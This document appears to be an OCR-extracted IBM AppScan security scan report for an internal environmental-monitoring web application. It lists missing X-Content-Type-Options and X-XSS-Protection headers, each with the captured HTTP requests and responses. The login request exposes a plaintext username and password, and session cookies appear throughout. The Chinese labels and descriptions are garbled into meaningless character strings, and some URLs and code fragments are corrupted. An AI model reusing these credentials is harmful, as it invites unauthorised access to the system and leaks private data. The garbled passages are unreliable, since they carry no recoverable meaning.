Sk abnormityAction!jsonList.page (Page)
ARG - AR X Web MATRE P INBURAS B, WA P4 0. plas s A/ sUugaC PO E
AIRes I PR b A P & FiE. SRS SRR SERRER
B Web [ F#E 7 4 i BAC B A 22 4
] 5 = Config your server to use the "X-Content-Type-Options" header
Z5: cookie DMIERERZE: 57a6a5AE8E37C43B017578F75A282932
S8 CERFRE: 2019-04-24
28 CERBRZ: 2010-06-24
H#E#E-  AppScan detected that the X-Content-Type-Options response header is missing, which
increases exposure to drive-by download attacks
75 R A B -
POST /amOnline/app/abnormity/abnormityAction!jsonList.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/abnormity/abnormityAction!abnormity.page
Accept-Language: zh-cn

User-

Host:

Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
172.20.7.168:8083

Connection: Keep-Alive
Pragma: no-cache
Cookie: hasshown=1
Content-Length: 97

search_alarmType=2&search disposeType=1l&pageNo=1l&pageSize=15&showPageInfo=truesshowPageList=false

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8
Content-Length: 117

Date:

Mon, 24 Jun 2019 03:54:05 GMT

Set-Cookie: JSESSIONID=ED83624FCE56CCDEB75A1D98B89F1EC6; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " FH P 4 B i A
}
"1 H
W 4/ 17 Toc
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Missing "X-Content-Type-Options" header

P

Cvss 7+%t: 5.0

URL: http://172.20.7.168:8083/amonline/app/j_spring_security _check

Sz j_spring_security_check (Page)

ARG - FRESINERG ¢ Web SRR P IIEURME R, W &, S0, plas A eusor o B
AIRes I PR b A P & FiE. SRS SRR SERRER

B Web [ F#E 7 4 i BAC B A 22 4

] 5 L= Config your server to use the "X-Content-Type-Options" header

#5: cookie CMIEREEFE:  57A6ASAESE37C43B017578F75A282932

?ﬁ E}‘}\l%*l%‘t?t : front_user

H#EFE-  AppScan detected that the X-Content-Type-Options response header is missing, which
increases exposure to drive-by download attacks

I R i -

POST /amOnline/app/j spring security check HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/ApplLogin.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

Cookie: hasshown=1

Content-Length: 39

j_username=13981937605&]j_ password=hfjcd

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=IS0-8859-1

Content-Length: 61

Date: Mon, 24 Jun 2019 04:00:44 GMT

Set-Cookie: JSESSIONID=F98D9C545215197C3325704EA9397F3E; Path=/amOnline; HttpOnly

{

"result": "success",
"targetUrl": "/amOnline/app/AppMain.page"
}
\J
H
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Missing "X-Content-Type-Options" header

P

Cvss 7+%t: 5.0

URL: http://172.20.7.168:8083/amonline/app/psinfo/psinfollistpsinfo.page

Sz psinfollistPsInfo.page (Page)

ARG - FRESINERG ¢ Web SRR P IIEURME R, W &, S0, plas A eusor o B
AIRes I PR b A P & FiE. SRS SRR SERRER

B Web [ F#E 7 4 i BAC B A 22 4

] 5 L= Config your server to use the "X-Content-Type-Options" header

#5: cookie CMIEREEFE:  57A6ASAESE37C43B017578F75A282932

28 S NERERZ: 1561348464198

H#EFE-  AppScan detected that the X-Content-Type-Options response header is missing, which
increases exposure to drive-by download attacks

I R i -

GET /amOnline/app/psinfo/psInfo!listPsInfo.page?psid= HTTP/1.1

X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/psinfo/psInfo!view.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:54:05 GMT

Set-Cookie: JSESSIONID=26F47329B07DB23948BE5A37A1A48376; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " B B Fa A ih O i, i g
}
* 1 H
R 6 /17 roc
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Missing "X-Content-Type-Options" header

P

Cvss 7+%t: 5.0

URL: http://172.20.7.168:8083/amonline/app/onlinemon/onlineaction!getpollutantswithpsid.page

Sz onlineAction!getPollutantsWithPsID.page (Page)

ARG - FRESINERG ¢ Web SRR P IIEURME R, W &, S0, plas A eusor o B
AIRes I PR b A P & FiE. SRS SRR SERRER

B Web [ F#E 7 4 i BAC B A 22 4

] 5 = Config your server to use the "X-Content-Type-Options" header

#5: cookie CMIEREEFE:  57A6ASAESE37C43B017578F75A282932

H#EFE-  AppScan detected that the X-Content-Type-Options response header is missing, which
increases exposure to drive-by download attacks

I R A i -

POST /amOnline/app/onlinemon/onlineAction!getPollutantsWithPsID.page?psID=510101055565 HTTP/1.1
X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/onlinemon/onlineAction!history.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

Cookie: hasshown=1

Content-Length: 0

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 117

Date: Mon, 24 Jun 2019 03:54:06 GMT

Set-Cookie: JSESSIONID=BFF1E5B40097D58D17AAEB6B5B20154C; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " FH P 4 s i A
}
"1 H
w7 /17 TOC
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Missing "X-Content-Type-Options" header

fa i

Cvss 7+#t: 5.0

URL:

ik
AR -

J5A -

I 5 i

http://172.20.7.168:8083/amonline/app/monitorspot/stopaction!findstopinfos.page
stopAction!findStoplInfos.page (Page)

A RES SR < Web NAIFERF MBURMGEE, W4, &, HLEs 2 /st B
A RESM VI PR AE I . B EHR S RS EBIRE S

Web [ T2 g 2 ek e B A % 4

: Config your server to use the "X-Content-Type-Options" header

#5: cookie CMIEREEFE:  57A6ASAESE37C43B017578F75A282932

S8 CERERZE:  2019-04-24
S8 CEREE:  2019-06-24

H#E#E-  AppScan detected that the X-Content-Type-Options response header is missing, which

increases exposure to drive-by download attacks

i R A -

7] 7t

2019/6/24

POST /amOnline/app/monitorspot/stopAction!findStopInfos.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/stopAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

Cookie: hasshown=1

Content-Length: 57

pageNo=1lg&pageSize=20&showPageInfo=true&showPageList=false

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 117

Date: Mon, 24 Jun 2019 03:54:05 GMT

Set-Cookie: JSESSIONID=4BC83DDI9F483D2A66CB800CDC21A269C; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " FH P 4 B i A

}

8 /[ 17
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Missing "X-Content-Type-Options" header

P
Cvss 7+%t: 5.0
URL: http://172.20.7.168:8083/amonline/app/psinfo/admin/psinfollistpsinfo.page
Sz psinfollistPsInfo.page (Page)
ARG - FRESINERG ¢ Web SRR P IIEURME R, W &, S0, plas A eusor o B
AIRes I PR b A P & FiE. SRS SRR SERRER
B Web [ F#E 7 4 i BAC B A 22 4
] 5 L= Config your server to use the "X-Content-Type-Options" header
5t

#EM:  AppScan detected that the X-Content-Type-Options response header is missing, which
increases exposure to drive-by download attacks

a7 SR A -

GET /amOnline/app/psinfo/admin/psInfo!listPsInfo.page?psid= HTTP/1.1
X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/psinfo/psInfo!view.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=88A3F6A907A453E6328F5295A865C34C; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " TR R i, W E R

}

& 9 / 17

2019/6/24
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Missing "X-Content-Type-Options" header

P
Cvss 7+%t: 5.0
URL: http://172.20.7.168:8083/amonline/app/abnormityadmin/abnormityaction!jsonlist.page
Sz abnormityActionljsonList.page (Page)
ARG - FRESINERG ¢ Web SRR P IIEURME R, W &, S0, plas A eusor o B
AIRes I PR b A P & FiE. SRS SRR SERRER
B Web [ F#E 7 4 i BAC B A 22 4
] 5 = Config your server to use the "X-Content-Type-Options" header
5t

#EM:  AppScan detected that the X-Content-Type-Options response header is missing, which
increases exposure to drive-by download attacks

a7 SR A -

GET /amOnline/app/abnormityadmin/abnormityAction!jsonList.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/abnormity/abnormityAction!abnormity.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=1CE9604FF5F9D66D2D8C490D1BE9SDAC; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " S BAT B S 2 Y, 3 o R R

}

& 10 /17

2019/6/24
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Missing "X-Content-Type-Options" header

FEE -
Cvss 4H#t: 5.0
URL: http://172.20.7.168:8083/amonline/app/onlinemon/admin/onlineaction!getpollutantswithpsid.page
Sk onlineAction!getPollutantsWithPsID.page (Page)
ARG - AR X Web MATRE P INBURAS B, WA P4 0. plas s A/ sUugaC PO E
AIRes I PR b A P & FiE. SRS SRR SERRER
JEA - Web [ F#E 7 4 i BAC B A 22 4
] 5 = Config your server to use the "X-Content-Type-Options" header
P31
#EM:  AppScan detected that the X-Content-Type-Options response header is missing, which
increases exposure to drive-by download attacks
TR 75 SR A iz -

GET /amOnline/app/onlinemon/admin/onlineAction!getPollutantsWithPsID.page?psID=510101055565
HTTP/1.1

X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/onlinemon/onlineAction!history.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

Host:

172.20.7.168:8083

Connection: Keep-Alive

Pragma:
Cookie:

no-cache
hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8
Content-Length: 142

Date:

Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=E60331CB919C8831DF239AD76B6D8915; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " RS RESIE O, FE SR

}

@ 11

2019/6/24
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Missing "X-Content-Type-Options" header

P
Cvss 7+%t: 5.0
URL: http://172.20.7.168:8083/amonline/app/monitorspot/admin/stopaction!findstopinfos.page
Sz stopAction!findStoplInfos.page (Page)
ARG - FRESINERG ¢ Web SRR P IIEURME R, W &, S0, plas A eusor o B
AIRes I PR b A P & FiE. SRS SRR SERRER
B Web [ F#E 7 4 i BAC B A 22 4
] 5 = Config your server to use the "X-Content-Type-Options" header
5t

#EM:  AppScan detected that the X-Content-Type-Options response header is missing, which

increases exposure to drive-by download attacks

a7 SR A -

7] /&t

2019/6/24

GET /amOnline/app/monitorspot/admin/stopAction!findStopInfos.page HTTP/1.1
Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/stopAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=37E02AF99A57C266CC6093DE4DC28CD4; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " S BAT B S 2 Y, 3 o R R

}

12 [ 17
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Missing "X-Content-Type-Options" header

P
Cvss 7+%t: 5.0
URL: http://172.20.7.168:8083/amonline/app/abnormity/admin/abnormityaction!jsonlist.page
Sz abnormityActionljsonList.page (Page)
ARG - FRESINERG ¢ Web SRR P IIEURME R, W &, S0, plas A eusor o B
AIRes I PR b A P & FiE. SRS SRR SERRER
B Web [ F#E 7 4 i BAC B A 22 4
] 5 = Config your server to use the "X-Content-Type-Options" header
5t

#EM:  AppScan detected that the X-Content-Type-Options response header is missing, which
increases exposure to drive-by download attacks

a7 SR A -

GET /amOnline/app/abnormity/admin/abnormityAction!jsonList.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/abnormity/abnormityAction!abnormity.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=0308DD52713329209493123C8AAC241F; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " S BAT B S 2 Y, 3 o R R

}

& 13 /1 17
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Missing "X-Content-Type-Options" header

P
Cvss 7+%t: 5.0
URL: http://172.20.7.168:8083/amonline/app/monitorspotadmin/spotaction!findacceptinfos.page
Sz spotAction!findAcceptinfos.page (Page)
ARG - FRESINERG ¢ Web SRR P IIEURME R, W &, S0, plas A eusor o B
AIRes I PR b A P & FiE. SRS SRR SERRER
B Web [ F#E 7 4 i BAC B A 22 4
] 5 = Config your server to use the "X-Content-Type-Options" header
5t

#EM:  AppScan detected that the X-Content-Type-Options response header is missing, which

increases exposure to drive-by download attacks

a7 SR A -

7] /&t

2019/6/24

GET /amOnline/app/monitorspotadmin/spotAction!findAcceptInfos.page HTTP/1.1
Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/spotAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=BB27D777C28C01B1FC07B8221BBA20FB; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " S BAT B S 2 Y, 3 o R R

}

14 [ 17 TOC
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Missing "X-Content-Type-Options" header

P
Cvss 7+%t: 5.0
URL: http://172.20.7.168:8083/amonline/app/monitorspot/admin/spotaction!findacceptinfos.page
Sz spotAction!findAcceptinfos.page (Page)
ARG - FRESINERG ¢ Web SRR P IIEURME R, W &, S0, plas A eusor o B
AIRes I PR b A P & FiE. SRS SRR SERRER
B Web [ F#E 7 4 i BAC B A 22 4
] 5 = Config your server to use the "X-Content-Type-Options" header
5t

#EM:  AppScan detected that the X-Content-Type-Options response header is missing, which

increases exposure to drive-by download attacks

a7 SR A -

7] /&t

2019/6/24

GET /amOnline/app/monitorspot/admin/spotAction!findAcceptInfos.page HTTP/1.1
Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/spotAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=0E1D4C4COB8EDBO165F5C5E64FACD5D6; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " S BAT B S 2 Y, 3 o R R

}
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Missing "X-Content-Type-Options" header

P
Cvss 7+%t: 5.0
URL: http://172.20.7.168:8083/amonline/app/psinfoadmin/psinfollistpsinfo.page
Sz psinfollistPsInfo.page (Page)
ARG - FRESINERG ¢ Web SRR P IIEURME R, W &, S0, plas A eusor o B
AIRes I PR b A P & FiE. SRS SRR SERRER
B Web [ F#E 7 4 i BAC B A 22 4
] 5 L= Config your server to use the "X-Content-Type-Options" header
5t

#EM:  AppScan detected that the X-Content-Type-Options response header is missing, which
increases exposure to drive-by download attacks

a7 SR A -

GET /amOnline/app/psinfoadmin/psInfo!listPsInfo.page?psid= HTTP/1.1
X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/psinfo/psInfo!view.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=64A2C6D2765D3B6FE363B2BCFCD907D4; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " TR R i, W E R

}

& 16 / 17
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Missing "X-Content-Type-Options" header

FEE -
Cvss 4H#t: 5.0
URL: http://172.20.7.168:8083/amonline/app/onlinemonadmin/onlineaction!getpollutantswithpsid.page
Sk onlineAction!getPollutantsWithPsID.page (Page)
ARG - AR X Web MATRE P INBURAS B, WA P4 0. plas s A/ sUugaC PO E
AIRes I PR b A P & FiE. SRS SRR SERRER
JEA - Web [ F#E 7 4 i BAC B A 22 4
] 5 = Config your server to use the "X-Content-Type-Options" header
P31
#EM:  AppScan detected that the X-Content-Type-Options response header is missing, which
increases exposure to drive-by download attacks
TR 75 SR A iz -

GET /amOnline/app/onlinemonadmin/onlineAction!getPollutantsWithPsID.page?psID=510101055565
HTTP/1.1

X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/onlinemon/onlineAction!history.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

Host:

172.20.7.168:8083

Connection: Keep-Alive

Pragma:
Cookie:

no-cache
hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8
Content-Length: 142

Date:

Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=9AFC021927648D86F4807266101E642A; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " RS RESIE O, FE SR

}

W8 17 /17

2019/6/24
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Missing "X-Content-Type-Options" header

P
CVSS 4r#i: 5.0
URL: http://172.20.7.168:8083/amonline/app/monitorspotadmin/stopaction!findstopinfos.page
Sz stopAction!findStoplInfos.page (Page)
ARG - T RE SRR X Web B AFR P IOBURME B, 4. Bh0. HLak 4 A/ eREusoc A B
ARSI PRI P 4. B, FHR S K SEERER
JEA - Web N A% 7 4 1 SC B A % 4
] 5 = Config your server to use the "X-Content-Type-Options" header
5t

#EM:  AppScan detected that the X-Content-Type-Options response header is missing, which
increases exposure to drive-by download attacks

T SR o -

GET /amOnline/app/monitorspotadmin/stopAction!findStopInfos.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/stopAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=714B3233E562CDF4EA6TFF6FAF6B38B7; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " R ERESIEC Y, HEHER

}

Missing "X-XSS-Protection" header €D
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Missing "X-XSS-Protection" header

fa i

Cvss 7+#t: 5.0

URL:
otk
A=

J5A -

I 5 i

http://172.20.7.168:8083/amonline/app/applogin.page
AppLogin.page (Page)

A RES SR < Web NAIFERF MBURMGEE, W4, &, HLEs 2 /st B
A RESM VI PR AE I . B EHR S RS EBIRE S

Web [ T2 g 2 ek e B A % 4

: Config your server to use the "X-XSS-Protection" header

#EM:  AppScan detected that the X-XSS-Protection response header is missing, which may allow

Cross-Site Scripting attacks

a7 SR A -

2019/6/24

GET /amOnline/app/ApplLogin.page HTTP/1.1

Cookie: hasshown=1; JSESSIONID=E5C9D3AC69648D3DEA7BBD6FB7A8FAE2

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8

Referer: http://172.20.7.168:8083/amOnline/app/j spring security logout

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: text/html;charset=UTF-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 02:55:23 GMT

x-ua-compatible: IE=edge,chrome=1

cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
pragma: no-cache

expires: 0

<!DOCTYPE HTML>

<html style="height:100%">

<head>

<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">

<title>H pilbys 8fy AN HEMBUEE RS (ki) </title>

<link rel="shortcut icon" href="/amOnline/static/images/favicon.ico"
mce_href="/amOnline/static/images/favicon.ico" type="image/x-icon"/>

<link rel="icon" href="/amOnline/static/images/favicon.ico"/>

<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />

<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">

<meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate, post-check=0, pre-
check=0" />

<meta http-equiv="Pragma" content="no-cache" />

<meta http-equiv="Expires" content="0" />

<link href="/amOnline/static/script/themes/default/ui.css" type="text/css" rel="stylesheet"/>
<link href="/amOnline/static/themes/default/login.css" type="text/css" rel="stylesheet"/>
<link href="/amOnline/static/script/themes/icon.css" type="text/css" rel="stylesheet"/>

<link href="/amOnline/static/themes/default/app.css" type="text/css" rel="stylesheet"/>
<script src="/amOnline/static/script/jquery2.js" type="text/javascript"></script>

<script src="/amOnline/static/script/jquery-migrate-1.2.1.js" type="text/javascript"></script>
<script src="/amOnline/static/script/jquery.ui.js" type="text/javascript"></script>

<script src="/amOnline/static/script/locale/ui-lang-zh CN.js" type="text/javascript"></script>
<script src="/amOnline/static/script/core.js" type="text/javascript"></script>

<script type="text/javascript">

var context = '/amOnline';

var authorizeType = 'l';

var enableCaptcha = 'false';

var loginTicket = '2c9487286b79d3e4016b8768d90d1308"';
</script>
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<script src="/amOnline/static/script/common.js" type="text/javascript"></script>
<script src="/amOnline/static/script/AppLogin.js?v=20171023" type="text/javascript"></script>

<!-- FEEER -
<script src="/amOnline/static/am/vendor/zxkf/kefu.js"></script>
<link href="/amOnline/static/am/vendor/zxkf/zxkf.css" rel="stylesheet" />

<t-- HEER -->
<script src="/amOnline/static/script/jquery.qrcode.min.js" type="text/javascript"></script>
<script src="/amOnline/static/script/qr.code.login.js" type="text/javascript"></script>

<style type="text/css">
.floatTool {

width: 110px;

height: 138px;
position: absolute;
right: Opx;

top: 50%;

margin-top: -69px;
vertical-align: middle;
text-align: center;

.messager-text{
width:200px;
}
.gr_login_sm_fs{height:100px;width: 288px;margin:0px auto;text-align: center; }
.login type fs{float:left; width:33%;}
a.a-login-sm {text-decoration: none; color:#5b5b5b; cursor: pointer;font-size: 16px;}
a.a-login-sm:hover {color:#FF8800 ; text-decoration:none; }
</style>
</head>

<body class="login_bg">
<div style="position:absolute;width:100%;height:100%; text-align: center;">
<img src="/amOnline/static/themes/default/images/l m title info.png" style="margin-
top:270px;"/>
</div>

<!--fEZ%MiBegin-->
<div id="floatTools" class="rides-cs">
<div class="floatL">

<a style="display: block" id="aFloatTools_Show" class="btnOpen" title=" BEELE
JE" onClick="javascript:$('#divFloatToolsView').animate ({width: 'show', opacity: 'show'},
'normal', function(){ $('#divFloatToolsView').show();kf_ setCookie ('RightFloatShown', 0, '', '/',

'www.shopnc.net') ;

}):$('#aFloatTools_Show') .attr('style', 'display:none');$ ('#aFloatTools_Hide').attr('style', 'disp.

href="javascript:void(0) ;">

J&Ir</a>
<a style="display: none" id="aFloatTools Hide" class="btnCtn" title=" KAELR R
onClick="javascript:$ ('#divFloatToolsView') .animate ({width: 'hide', opacity: 'hide'},
'normal', function () { $(‘#divFloatToolsView').hide();kf_setCookie('RightFloatShown', i, 90, vju,

'www.shopnc.net');

});$('#aFloatTools_Show') .attr('style', 'display:block');$('#aFloatTools Hide').attr('style', 'dis.

href="javascript:void (0) ;">
W< /a> </div>
<div id="divFloatToolsView" class="floatR" style="display: none">
<p><img src="/amOnline/static/8.jpg" width="100px" height="100px"/></p>
<p><span style="text-align: left; color: rgb(255, 255, 255); font-size:
18px; font-weight: bold; "> ARZF<br><span style="font-size: 14px;">7*10/M¥</span><br><span
style="font-size: 14px;">(08:30-18:30)</span></span></p>
</div>
</div>

<form name
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Missing "X-XSS-Protection" header

FEE -
Cvss 4H#t: 5.0
URL: http://172.20.7.168:8083/amonline/app/abnormity/abnormityaction!jsonlist.page
Sk abnormityAction!jsonList.page (Page)
ARG - AR X Web MATRE P INBURAS B, WA P48 0. plas 2 A/ sUUR PO E
ARSI PR b A P & FiE. SRS SRR SEEERER
A - Web [ F#E 7 4 i BAC B AN 224
] 5 = Config your server to use the "X-XSS-Protection" header
Z5: cookie DMNIERERZE: 57a6a5AE8E37C43B017578F75A282932
S8 CERFRE: 2019-05-24
28 CERBRZ: 2019-06-24
H#E#-  AppScan detected that the X-XSS-Protection response header is missing, which may allow
Cross-Site Scripting attacks
75 R A B -
POST /amOnline/app/abnormity/abnormityAction!jsonList.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/abnormity/abnormityAction!abnormity.page
Accept-Language: zh-cn

User-

Host:

Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
172.20.7.168:8083

Connection: Keep-Alive
Pragma: no-cache
Cookie: hasshown=1
Content-Length: 97

search_alarmType=2&search disposeType=1l&pageNo=1l&pageSize=15&showPageInfo=truesshowPageList=false

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8
Content-Length: 117

Date:

Mon, 24 Jun 2019 03:54:05 GMT

Set-Cookie: JSESSIONID=ED83624FCE56CCDEB75A1D98B89F1EC6; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " FH P 4 B i A
}
"1 H
e 3 / 17

2019/6/24
